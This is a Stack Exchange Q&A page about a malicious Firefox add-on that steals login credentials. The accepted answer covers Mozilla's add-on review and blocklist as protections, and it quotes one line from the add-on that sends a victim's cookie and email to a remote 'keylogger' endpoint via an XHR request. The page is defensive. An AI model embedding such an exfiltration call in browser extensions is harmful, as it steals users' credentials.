Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

Some videos on YouTube demonstrate how a Firefox extension can collect login information used to login to websites such as Facebook.

After installing this tool/malware as Firefox Add-on, I observed the activity of my browser using Firebug. My username and password was sent to a server via Ajax request.

I contacted the author. He said that he can embed this script to any Firefox Add-on.

How can I securely use Firefox Add-ons? I installed 3 types of Antivirus and Firewall. But none of that was able to detect this malware.

share|improve this question
1  
For testing i made a new gmail account. test the second tool. after 10 or 12 hour i got the entered password in my original account . I have https connection,antivirus, firewall.why this happened? –  ebola virus Aug 4 '12 at 11:07
    
    
@dippu - This sort of malicious file is easy to avoid. Understand how Firefox Add-ons work and only use add-ons that have been verified and are not written by malicious users. –  Ramhound Aug 6 '12 at 13:38

1 Answer 1

up vote 4 down vote accepted

How do you protect yourself

Firefox addons from the official site are put through the addon review proces https://addons.mozilla.org/en-US/developers/docs/policies/reviews

So you can check if an addon is official and has been reviewed before installing.

It's not 100% You can find a list of blocked addons removed by Mozilla due to given reasons (viruses, trojans, etc.) https://addons.mozilla.org/en-US/firefox/blocked/

Installing an addon from a 3rd party is more dangerous, so you may need to personally check the source code (which is possible since it's a zip of javascript files) or trust the author/provider.

How does the maleware work?

The .xul file contains the following line of code:

xhr.open("GET", 
      "http://www.removedurl.com/keylogger/snooper.php?
       facebook="+cookie+'&email='+email, true);

So when you test this script on your own account it will be sending him the your password. For this reason you should delete this addon and change your password.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.